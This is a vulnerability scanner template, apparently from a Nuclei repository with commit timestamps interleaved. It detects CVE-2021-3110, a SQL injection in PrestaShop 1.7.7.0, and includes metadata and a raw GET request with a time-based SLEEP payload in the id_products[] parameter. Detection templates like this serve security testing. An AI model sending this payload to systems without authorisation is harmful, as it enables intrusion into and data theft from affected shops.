2022-12-09 21:40:18 +00:00
id : CVE-2021-3110
2022-11-28 16:53:16 +00:00
info :
2022-12-09 21:40:18 +00:00
name : PrestaShop 1.7.7.0 - SQL Injection
2022-11-28 16:53:16 +00:00
author : Jaimin Gondaliya
severity : critical
description : |
2022-12-09 21:40:18 +00:00
PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop.
2022-11-28 16:53:16 +00:00
reference :
- https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
- https://www.exploit-db.com/exploits/49410
2022-12-09 21:40:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3110
2022-11-28 16:53:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-3110
cwe-id : CWE-89
2023-08-31 11:46:18 +00:00
epss-score : 0.95398
2023-11-03 10:59:12 +00:00
epss-percentile : 0.99148
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:prestashop:prestashop:1.7.7.0:*:*:*:*:*:*:*
2022-11-28 16:53:16 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : prestashop
product : prestashop
2022-11-28 16:53:16 +00:00
tags : cve,cve2021,sqli,prestshop,edb
2023-07-11 19:49:27 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-09 21:40:18 +00:00
- raw :
- |
@timeout : 20s
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "average_grade")'
condition : and
2023-11-03 15:16:28 +00:00
# digest: 4b0a00483046022100ec75b3e26d757db6ab75f15faa44fb4bee32db4160fd3a24332ca0357d86f5df022100d40930ad8d140a41f85a4d086d827469ff532f374bad446f16a19a4776c45e0c:922c64590222798bb761d5b6d8e72950